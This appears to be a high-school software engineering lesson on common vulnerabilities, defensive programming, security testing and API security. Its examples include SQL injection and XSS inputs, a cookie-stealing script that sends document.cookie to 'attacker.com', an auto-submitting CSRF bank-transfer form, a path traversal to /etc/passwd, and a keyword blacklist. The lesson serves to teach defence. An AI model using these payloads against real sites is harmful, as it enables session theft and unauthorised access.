Vulnerabilities & Testing - Building Defense in Depth
Welcome to Lesson 5! In Lesson 4, we learned about the CIA Triad (Confidentiality, Integrity, Availability), the AAA model (Authentication, Authorization, Accountability), and the principles of Security by Design.
Today, we're diving into the practical side of secure software development. You'll learn about the most common vulnerabilities that hackers exploit, how to defend against them, and how to test your software to ensure it's secure.
NEVER TRUST USER INPUT
Every piece of data that comes from outside your system (user input, external APIs, database queries) should be treated as potentially dangerous until proven safe. This single principle prevents the majority of security vulnerabilities.
By the end of this lesson, you will be able to:
Understanding vulnerabilities is the first step to preventing them. Let's explore the most common security flaws that appear in software systemsβmany of which you'll see in HSC exam questions!
SQL Injection occurs when an attacker inserts malicious SQL code into an input field, allowing them to manipulate or access the database directly.
Scenario: A login form asks for a username and password.
Vulnerable Code:
# User enters: admin' OR '1'='1
username = input("Enter username: ")
password = input("Enter password: ")
# Building SQL query by concatenating strings (BAD!)
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
# The resulting query becomes:
# SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
# This ALWAYS returns true because '1'='1' is always true!
Result: The attacker bypasses authentication and gains access to the admin account without knowing the password.
Below you'll see two servers - one vulnerable and one secure. Try entering ' OR 1=1;-- in both to see the difference!
Try entering: ' OR 1=1;--
Try the same input here:
XSS occurs when an attacker injects malicious JavaScript code into a webpage that other users will view. The script runs in the victim's browser, potentially stealing cookies, session tokens, or redirecting to phishing sites.
Scenario: A comment section on a blog accepts user comments and displays them.
Vulnerable Code:
# User submits: <script>alert('Hacked!')</script>
user_comment = get_user_input()
# Directly displaying user input without sanitization (BAD!)
display_html = "<div>" + user_comment + "</div>"
# The browser executes the script tag, showing an alert
# Worse: attacker could steal cookies with:
# <script>document.location='http://attacker.com?cookie='+document.cookie</script>
Result: When other users view the comment, the malicious script executes in their browser, potentially stealing their login credentials.
Try posting: <script>alert('Hacked!')</script> in both forums below to see the difference!
For a visual demo, try: <script>document.body.style.transform = 'rotate(180deg)';</script>
Post anything - including HTML/JavaScript:
Try the same input here:
CSRF tricks an authenticated user into executing unwanted actions on a web application where they're currently logged in. The attack exploits the trust that a website has in the user's browser.
Scenario: You're logged into your bank account in one browser tab.
Attack: In another tab, you visit a malicious website that contains:
<!-- Hidden form that auto-submits -->
<form action="https://yourbank.com/transfer" method="POST" id="hack">
<input type="hidden" name="to_account" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.getElementById('hack').submit();
</script>
Result: Because you're already logged in to the bank, your browser automatically includes your authentication cookies with the request. Money is transferred to the attacker without your knowledge.
Authentication flaws allow attackers to compromise passwords, session tokens, or exploit implementation bugs to assume other users' identities.
A race condition occurs when two or more processes access shared data simultaneously, and the final result depends on the timing of their execution.
Scenario: Bank account with $100. Two withdrawal requests of $80 are made simultaneously.
# Process 1 and Process 2 both execute at the same time
def withdraw(amount):
balance = get_balance() # Both read: balance = 100
if balance >= amount: # Both check: 100 >= 80 β
new_balance = balance - amount # Process 1: 100-80=20, Process 2: 100-80=20
set_balance(new_balance) # Both write their result
return True
return False
# Result: Account shows $20, but $160 was withdrawn! (-$60 overdraft)
Result: The account is overdrawn because both processes checked the balance before either one updated it.
A buffer overflow occurs when a program writes more data to a memory buffer than it can hold, causing the excess data to overflow into adjacent memory locations. This can corrupt data, crash the program, or allow attackers to execute malicious code.
Scenario: A game allows players to enter their character name (max 16 characters).
Vulnerable Code (C/C++):
# Simplified example (actual buffer overflow is common in C/C++)
char username[16]; # Allocates exactly 16 bytes in memory
gets(username); # Reads user input WITHOUT checking length!
# Memory Layout:
# [username buffer: 16 bytes][return address][other data]
# Attacker enters 100 characters:
# The first 16 fill the buffer
# Characters 17-20 overwrite the return address
# The program now jumps to attacker's malicious code!
Result: The attacker crafts input that overwrites the return address in memory, redirecting program execution to malicious code they've injected.
Languages like Python and Java automatically manage memory and check array bounds. When you try to access array[100] in an array with only 10 elements, they throw an IndexError instead of allowing memory corruption. This is why they're preferred for security-critical applications!
C/C++ gives you direct memory access (fast but dangerous), while Python/Java sacrifice a tiny bit of speed for safety. The trade-off is almost always worth it for security.
| Vulnerability | Description | Example Attack | Defense |
|---|---|---|---|
| Invalid Forwarding & Redirecting | Unvalidated redirects send users to malicious sites | site.com/redirect?url=evil.com redirects to phishing site | Whitelist allowed redirect URLs; avoid user-controlled redirects |
| File Upload Attacks | Uploading malicious files (executable scripts, viruses) | Upload "image.php" instead of "image.jpg", then execute it | Validate file type, rename files, store outside web root, scan for malware |
| Side-Channel Attacks | Extract information by analyzing system behavior (timing, power consumption) | Measure password check timing to guess password length | Constant-time operations, avoid early returns in security checks |
| Directory Traversal | Access files outside intended directory using ../ sequences | file=../../../../etc/passwd accesses system password file | Sanitize file paths, use whitelists, check for ../ patterns |
Defensive programming is the practice of writing code that anticipates and handles potential errors, misuse, and malicious input. It's about assuming the worst and coding accordingly.
Input validation is the process of checking that user input meets specific criteria before processing it.
Whitelist Approach (PREFERRED): Only allow known-good inputs
def validate_age(age):
# Only accept values that ARE valid
if not age.isdigit():
return False, "Age must be a number"
age_int = int(age)
if age_int < 0 or age_int > 150:
return False, "Age must be between 0 and 150"
return True, age_int
# Usage
is_valid, result = validate_age(user_input)
if is_valid:
process_age(result)
else:
print(f"Error: {result}")
Blacklist Approach (LESS SECURE): Block known-bad inputs
def validate_username(username):
# Trying to block bad characters (incomplete, can be bypassed)
forbidden = ['<', '>', '&', '"', "'", ';', '--']
for char in forbidden:
if char in username:
return False
return True
# Problem: Attackers can find characters you forgot to block!
Why Whitelist is Better: You can't anticipate all possible malicious inputs, but you can define exactly what valid input looks like.
Sanitization is the process of cleaning user input by removing or escaping potentially dangerous characters.
import html
def sanitize_html(user_input):
# Escape HTML special characters
# < becomes <
# > becomes >
# & becomes &
return html.escape(user_input)
# Example
malicious_input = "<script>alert('XSS')</script>"
safe_output = sanitize_html(malicious_input)
# Result: <script>alert('XSS')</script>
# Browser displays as text, doesn't execute script
import re
def sanitize_sql_input(user_input):
# Remove dangerous SQL keywords (NOT FOOLPROOF!)
dangerous_keywords = ['DROP', 'DELETE', 'INSERT', 'UPDATE', '--', ';']
for keyword in dangerous_keywords:
user_input = user_input.replace(keyword, '')
return user_input
# BETTER APPROACH: Use parameterized queries
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
Proper error handling prevents your application from crashing and avoids revealing sensitive information about your system to attackers.
# Exposing sensitive info
try:
db.execute(query)
except Exception as e:
# Shows database structure!
print(f"Error: {str(e)}")
# "Table 'users' at line 5..."
# Generic error message
try:
db.execute(query)
except Exception as e:
# Log details for developers
log_error(str(e))
# Show generic message
return "An error occurred"
Security testing is the process of identifying vulnerabilities in your software before attackers do. Let's explore the main approaches.
| Aspect | SAST (Static Application Security Testing) | DAST (Dynamic Application Security Testing) |
|---|---|---|
| What is it? | Analyzing source code without running the program | Testing the running application by simulating attacks |
| When? | During development (early in SDLC) | After deployment or in testing environment |
| How? | "White-box" - examines code, data flow, logic | "Black-box" - tests like an external attacker |
| Finds | SQL injection patterns, hardcoded passwords, buffer overflows | XSS vulnerabilities, authentication flaws, configuration issues |
| Advantages | Find issues early; precise location in code; no need for running app | Find runtime issues; test actual behavior; no source code needed |
| Disadvantages | False positives; can't detect runtime issues; requires source code access | Can't test all code paths; finds issues late; doesn't show exact code location |
| Tools | SonarQube, Checkmarx, Fortify | OWASP ZAP, Burp Suite, Acunetix |
SAST and DAST are complementary, not competing approaches. Use SAST during development to catch issues early, then use DAST before release to verify security in the running application.
Code review is the manual process of having developers examine each other's code for bugs, security flaws, and adherence to best practices.
A vulnerability assessment is a systematic review of security weaknesses in a system. It identifies, quantifies, and prioritizes vulnerabilities.
Industry standard for rating vulnerability severity on a scale of 0-10:
Penetration testing (pen testing) is an authorized simulated attack on a system to identify security weaknesses that could be exploited by attackers.
Penetration testing must ALWAYS be authorized in writing by the system owner. Unauthorized penetration testing is illegal and considered hacking, even if your intentions are good. Always get explicit permission before testing security.
| Type | Knowledge Level | Description | Use Case |
|---|---|---|---|
| Black Box | No prior knowledge | Tester knows nothing about the system (simulates external attacker) | Test external defenses; most realistic attack scenario |
| White Box | Full knowledge | Tester has complete access to source code, architecture, credentials | Comprehensive security audit; find deep vulnerabilities |
| Grey Box | Partial knowledge | Tester has some information (e.g., user account but not admin) | Simulates insider threat; test internal security |
System hardening is the process of reducing vulnerabilities by removing unnecessary services, limiting access, and configuring systems securely.
A security breach response plan defines how to respond when a security incident occurs. Time is criticalβevery minute counts.
Many jurisdictions require organizations to notify affected individuals and authorities when a data breach occurs. For example, GDPR (Europe) requires notification within 72 hours. Failure to comply can result in severe fines.
Ensuring that critical business functions can continue during and after a security incident or disaster.
| Concept | Definition | Key Metrics |
|---|---|---|
| Business Continuity Planning (BCP) | Comprehensive plan to maintain operations during disruptions | Identifies critical processes and resources needed to continue business |
| Disaster Recovery (DR) | Specific procedures to recover IT systems after a disaster | Focuses on restoring technology infrastructure and data |
| RTO (Recovery Time Objective) | Maximum acceptable downtime for a system | Example: "Database must be restored within 4 hours" |
| RPO (Recovery Point Objective) | Maximum acceptable data loss measured in time | Example: "Can afford to lose up to 1 hour of data" |
An API (Application Programming Interface) is a set of rules and protocols that allows different software applications to communicate with each other. Think of it as a waiter in a restaurant:
You (the customer) want food, but you can't go into the kitchen and cook it yourself.
The kitchen (the server) has all the ingredients and chefs who can prepare meals.
The waiter (the API) takes your order, communicates it to the kitchen, and brings back your food.
# CLIENT SIDE: Your application makes a request
import requests
# Request: "Get me information about user with ID 123"
response = requests.get("https://api.example.com/users/123")
# Response: The API sends back user data
user_data = response.json()
# {
# "id": 123,
# "name": "John Doe",
# "email": "john@example.com"
# }
print(f"User name: {user_data['name']}")
| Method | Purpose | Example | Real-World Analogy |
|---|---|---|---|
| GET | Retrieve data | GET /users/123 | Reading a book from the library |
| POST | Create new data | POST /users | Adding a new book to the library |
| PUT | Update existing data | PUT /users/123 | Editing a book's information |
| DELETE | Remove data | DELETE /users/123 | Removing a book from the library |
Because APIs expose your application's functionality to the outside world, they become a prime target for attackers. If an API isn't secured properly, attackers can:
That's why the rest of this section focuses on securing APIs!
# Client sends credentials
POST /api/login
{
"username": "user@example.com",
"password": "securePassword123"
}
# Server responds with JWT (JSON Web Token)
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"expires_in": 3600
}
# Client includes token in subsequent requests
GET /api/user/profile
Headers:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
from time import time
class RateLimiter:
def __init__(self, max_requests=100, time_window=60):
self.max_requests = max_requests # 100 requests
self.time_window = time_window # per 60 seconds
self.requests = {} # {user_id: [timestamp1, timestamp2, ...]}
def is_allowed(self, user_id):
now = time()
# Clean old requests outside time window
if user_id in self.requests:
self.requests[user_id] = [
req_time for req_time in self.requests[user_id]
if now - req_time < self.time_window
]
else:
self.requests[user_id] = []
# Check if under limit
if len(self.requests[user_id]) < self.max_requests:
self.requests[user_id].append(now)
return True
return False # Rate limit exceeded
from typing import Optional
from pydantic import BaseModel, EmailStr, constr, validator
class UserRegistration(BaseModel):
email: EmailStr # Automatically validates email format
username: constr(min_length=3, max_length=20) # String with length constraints
age: int
@validator('age')
def validate_age(cls, value):
if value < 13 or value > 120:
raise ValueError('Age must be between 13 and 120')
return value
# Usage
@app.post("/api/register")
def register_user(user: UserRegistration):
# If validation fails, automatic 422 error returned
# If successful, user data is guaranteed to be valid
create_user(user.email, user.username, user.age)
# Returns EVERYTHING
{
"user_id": 123,
"email": "user@example.com",
"password_hash": "...",
"ssn": "123-45-6789",
"api_key": "secret123"
}
# Returns only what's needed
{
"user_id": 123,
"email": "user@example.com",
"username": "john_doe"
}
Always use HTTPS to encrypt data in transit. Never send sensitive data over HTTP.
import logging
security_logger = logging.getLogger('security')
def log_security_event(event_type, user_id, details):
security_logger.warning(
f"[SECURITY] {event_type} | User: {user_id} | {details}"
)
# Usage examples
log_security_event("FAILED_LOGIN", user_id, "5 consecutive failures")
log_security_event("SUSPICIOUS_ACTIVITY", user_id, "Accessed 100 records in 1 second")
log_security_event("AUTHORIZATION_VIOLATION", user_id, "Attempted to access admin panel")
| Vulnerability | Attack Vector | Primary Defense |
|---|---|---|
| SQL Injection | Malicious SQL in user input | Parameterized queries |
| XSS (Cross-Site Scripting) | Malicious JavaScript in user input | HTML escaping/encoding |
| CSRF (Cross-Site Request Forgery) | Unauthorized commands from trusted user | CSRF tokens, SameSite cookies |
| Broken Authentication | Weak passwords, session hijacking | Password hashing, MFA, secure sessions |
| Race Conditions | Concurrent access to shared data | Database transactions, locking |
| Buffer Overflow | Exceeding allocated memory boundaries | Memory-safe languages, bounds checking |
For each code snippet, identify the vulnerability and suggest a fix:
user_id = request.get('id')
query = f"DELETE FROM users WHERE id = {user_id}"
database.execute(query)
Vulnerability: SQL Injection - using f-strings to build SQL queries
Fix: Use parameterized query: database.execute("DELETE FROM users WHERE id = ?", (user_id,))
comment = request.get('comment')
html = f"<div class='comment'>{comment}</div>"
return html
Vulnerability: XSS - directly inserting user input into HTML
Fix: Escape HTML: html.escape(comment) or use textContent in JavaScript
password = request.get('password')
database.save_password(username, password) # Stored as plain text
Vulnerability: Storing passwords in plain text
Fix: Hash passwords: hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
For each scenario, recommend the most appropriate testing approach (SAST, DAST, Code Review, Penetration Testing, or Vulnerability Assessment):
Task: Design a secure API endpoint for updating user email addresses. Consider:
Sample Secure Implementation:
from pydantic import BaseModel, EmailStr
class UpdateEmailRequest(BaseModel):
new_email: EmailStr # Validates email format
@app.put("/api/user/email")
@require_authentication # Decorator ensures user is logged in
@rate_limit(max_requests=5, window=3600) # Max 5 requests per hour
def update_email(request: UpdateEmailRequest, current_user: User):
# Authorization: users can only update their own email
# (current_user comes from authentication token)
# Input validation (automatic via Pydantic)
new_email = request.new_email
# Check if email already exists
if email_exists(new_email):
log_security_event("EMAIL_UPDATE_FAILED", current_user.id, "Email already in use")
return {"error": "Email already registered"}, 400
# Update email
old_email = current_user.email
current_user.email = new_email
database.save(current_user)
# Logging for audit trail
log_security_event("EMAIL_UPDATED", current_user.id, f"Changed from {old_email}")
# Send confirmation emails to both old and new addresses
send_confirmation_email(old_email, "Your email was changed")
send_confirmation_email(new_email, "Please verify your new email")
return {"success": True, "message": "Email updated"}, 200